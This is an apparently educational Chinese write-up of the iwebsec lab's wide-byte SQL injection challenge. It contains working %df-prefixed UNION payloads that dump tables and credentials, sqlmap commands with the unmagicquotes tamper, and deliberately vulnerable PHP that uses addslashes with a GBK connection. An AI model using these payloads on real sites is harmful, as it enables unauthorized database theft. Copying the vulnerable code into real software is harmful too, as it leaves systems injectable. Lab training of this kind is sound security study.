iwebsec-sql注入 06 宽字节字符型注入
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入3.iwebsec-sql注入 03 bool型注入4.iwebsec-sql注入 04 时间延迟型注入5.iwebsec-sql注入 05 报错型注入
6.iwebsec-sql注入 06 宽字节字符型注入
7.iwebsec-sql注入 07 空格过滤8.iwebsec-sql注入 08 大小写过滤注入9.iwebsec-sql注入 09 双写关键字绕过10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过12.iwebsec-sql注入 12 等价函数替换过滤13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析
宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes() 函数,是返回在预定义字符(' " )之前添加反斜杠的字符串。
也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上
-- url写入 ?id=1' order by 3 --+ -- 在addslashes(1' order by 3 --+)函数后实际赋值给id的值为 1\' order by 3 --+
因为sql语句中没有反斜杠,所以一定会报错,那我们就完成不了正常的注入,所以我们应该想办法把他去掉
02、宽字节过滤下的字符型手工注入
在'前加上%df,这样经过addslashes()函数处理后,传参值语句变为
1%df\' order by 3 --+
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
宽字节过滤下的字符型手工注入,也就是加上%df,流程和上面的一样
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' order by 3 --+ -- id=-1就是不显示内容 http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,3 --+ -- 暴库 http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,database() --+ -- 暴表 http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ -- 暴列 http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns --+ -- 暴字段 http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(concat_ws(username,password)) from iwebsec.sqli --+
02、宽字节过滤下的字符型工具注入
方式一:
在url上可以加上%df*进行sql注入,可以像上面03那样一步步的判断,但是因为已经知道有注入有表啥的了,直接一把梭
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1%df" --current-db --dump --batch
方式二:
--tamper unmagicquotes脚本是针对宽字节过滤的注入方式
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1" --current-db --dump --batch --tamper unmagicquotes
03、宽字节代码分析
<?php if(isset($_GET['id'])){ // 检查是否存在传递的id参数 $id=addslashes($_GET['id']); // 获取id参数的值,并使用addslashes函数进行转义,提高安全性 mysql_query("SET NAMES gbk"); // 设置数据库连接的字符集为GBK,确保与数据库的字符集一致 $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; // 构造SQL查询语句,根据传递的id参数查询user表中对应的记录 $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中 // 执行其他操作,处理查询结果或输出数据等 } else { exit(); // 如果没有传递id参数,则退出(终止脚本运行) } ?>
分类:
标签:
,
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步